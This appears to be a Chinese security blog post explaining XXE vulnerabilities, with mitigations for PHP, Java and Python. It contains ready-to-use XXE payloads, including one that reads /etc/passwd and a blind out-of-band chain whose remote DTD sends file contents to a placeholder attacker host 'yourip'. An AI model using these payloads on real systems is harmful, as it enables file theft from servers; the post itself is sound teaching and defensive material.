这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.

   首先要明白xxe漏洞是如何读取文件的

<!ENTITY name SYSTEM  "file:///etc/passwd">
<root>&name;</root>

此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.

                  

                    

   首先观察这个http包,在发送方的http包头中可以通过conetent-type观察到服务端以xml的形式接收文件,符合xxe漏洞的条件,然后服务器会正常返回客户端在body中post过去的xml代码执行结果。此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非Blind的xxe)

  以php服务端的处理为例,若$xml即为body中的$xml数据,php直接进行解析,那么将触发xxe漏洞

  针对blind的xxe,可以构造如下xml恶意代码:

<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file://etc/passwd">
<!ENTITY % remote SYSTEM "http://yourip/eval.dtd">
%remote;%send; ]> <foo></foo>

  这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)

  以下是eval.dtd的内容:

<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://yourip/?p=%file;'>">%ppp;

  整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(/etc/passwd)发送到我们的服务器上(通过get查询方式会在攻击者的服务器日志中留下记录)

  以上便是xxe漏洞的基本流程

手工检测方法:

<?xml version="1.0" encoding="UTF-8"?>
<! DOCTYPE any[
<! ENTITY shit "this is a  test">
]>
<root>
&shit;
</root>

如果在返回了this is a test,说明服务端解析了客户端发送的shit实体的内容并返回到了root节点,则继续测试是否可以加载外部实体

<?xml version=”1.0” encoding=”UTF-8”?>  <!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/eval.xml”>
%shit;   ]> 

  通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

  如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

  如果不能回显,毫无疑问,使用Blind XXE攻击方法。

  网上已经有可以自动检测XXE漏洞的开源工具:xxeinjector

  git clone https://github.com/enjoiz/XXEinjector.git

  补救措施:

  xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

  1.禁用xml外部实体

PHP:
libxml_disable_entity_loader(true);                          JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  2.过滤xml外部实体的关键字:

  过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

参考:

https://www.waitalone.cn/xxe-attack.html

转载于:https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

XXE漏洞检测及代码执行过程相关推荐

  1. Alpine Linux:从漏洞发现到代码执行

    本文讲的是Alpine Linux:从漏洞发现到代码执行, 我最近在Alpine Linux的软件包管理器中发现了两个关键的漏洞,分别是CVE-2017-9669和CVE-2017-9671,如果你正 ...

  2. linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...

  3. linux内核竞争条件漏洞,Linux内核竞争条件漏洞-导致远程代码执行

    原标题: Linux内核竞争条件漏洞-导致远程代码执行 导读*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版 ...

  4. python代码执行过程记录_这款神器,能把 Python 代码执行过程看地一清二楚

    原标题:这款神器,能把 Python 代码执行过程看地一清二楚 本文经机器之心(微信公众号:almosthuman2014)授权转载,禁止二次转载 机器之心报道,参与:一鸣.杜伟 Python 是一门 ...

  5. commons-collections反序列化漏洞分析——远程代码执行

    commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...

  6. Python网站推荐:Pythontutor(可视化代码执行过程)

    Pythontutor是一个在线可视化代码执行过程的的网站,支持的语言有Python.C++.Java等. 地址:Pythontutor 下面以一段Python代码为例,简单介绍一下怎么使用,借助于图 ...

  7. 【漏洞复现】XMind2020及2021beta版本存在xss漏洞导致任意代码执行

    简介 XMind是一种功能齐全的思维导图和头脑风暴工具,旨在产生想法,激发创造力,并在工作和生活中带来效率.数以百万计的用户们喜欢它 漏洞(xss) XMind2020及2021beta版本存在xss ...

  8. rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现

    漏洞原理fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存 ...

  9. rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)

    作者:beijixiong404    文章来源:先知社区 漏洞简介 WebSphere是IBM的软件平台,它包含了编写.运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台.跨产品解决方案 ...

最新文章

  1. 怎么主动发起话题_谈恋爱怎样找话题聊天?
  2. oracle分区属于什么知识,详细讲解Oracle表分区的相关概念及其优点
  3. 重装MS SQL Server 2000前必须彻底删除原安装文件!
  4. 802.11h halow(Short Beacon, s1g beacon)
  5. 熊本熊之父来鹅厂啦!这是一场关于设计和体验的有趣之旅!
  6. php基础篇-二维数组排序 array_multisort
  7. 垂直布局的HTML表单
  8. 统计学习方法9—EM算法
  9. 解决bootstrap模态框居中问题
  10. /usr/include/x86_64-linux-gnu/bits/socket.h源码
  11. 拓端tecdat|【视频】R语言广义相加模型(GAM)在电力负荷预测中的应用
  12. 用html5画瀑布图,漂亮的Excel瀑布图,竟然如此简单~~
  13. 什么是南向接口和北向接口,南北流量和东西流量
  14. class redefinition faild: attempted to add a method
  15. 窗帘盒有哪些种类,怎样安装窗帘盒?
  16. 丢手帕问题(约瑟夫问题)
  17. 2021年中国电影行业发展现状及重点企业对比分析:电影票房收入达472.58亿元[图]
  18. 在Python里通过Pandas和pymysql库批量修改MySQL数据库的字段名称和字段类型
  19. luogu P1646 happiness
  20. 照片修复软件有哪些?这几款照片修复软件快收好

热门文章

  1. Tomcat中的Session小结
  2. MVC开发Markdown编辑器(1)
  3. SSAS系列——【03】多维数据(多维数据集对象)
  4. javascript 字符串
  5. centos配置-java-php-mysql【转载参考】
  6. A List Apart 经典文章:突破网格设计的僵局
  7. Mac用Java写出hello,mac中c#的helloworld
  8. pip19离线_更新pip为20后不显示下载链接无法离线下载回退pip版本
  9. ADC的有效位数与有效分辨率的区别
  10. 突破androidstudio 的控制